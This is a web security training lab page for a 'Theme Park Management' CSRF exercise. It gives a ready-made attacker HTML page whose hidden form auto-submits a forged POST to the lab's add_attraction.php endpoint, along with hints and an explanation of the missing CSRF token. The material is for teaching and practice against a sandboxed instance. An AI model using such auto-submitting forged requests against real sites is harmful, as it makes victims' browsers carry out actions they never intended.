Theme Park Management

Your own park. This lab gives every visitor a private database. Instance 7b4962cf7c08ac28, self destructs in 30 minutes, and nothing you do here reaches anybody else. Reset now.

Ready made attacker page for this instance

Host this anywhere that is not hackxpert.com (a local file works) and open it while logged into the lab. The hidden i field keeps the forged request pointed at the park you are looking at, which matters because browsers increasingly drop cookies on cross site requests.

<html><body>
<form id="x" method="POST" action="https://labs.hackxpert.com/CSRF/themePark03-25/add_attraction.php">
  <input type="hidden" name="name" value="Pwned Coaster">
  <input type="hidden" name="type" value="CSRF">
  <input type="hidden" name="capacity" value="1337">
  <input type="hidden" name="i" value="7b4962cf7c08ac28">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>

Guided CSRF Bonus Lab

Goal: Add a new attraction through a forged cross-site request and make the action endpoint return a flag.

Hints

The add-attraction action is a normal POST endpoint with no CSRF token.
You do not need to read any server response from the attacker page. You only need the victim browser to send the POST.
Target the add_attraction.php action directly with the same field names this form uses.

Why This Works

The endpoint trusts any authenticated browser request and never verifies that the request originated from the application itself. That means a malicious external page can force the victim browser to submit the same POST and create a new attraction.

Theme Park Management

Guided CSRF Bonus Lab

Attractions

Add New Attraction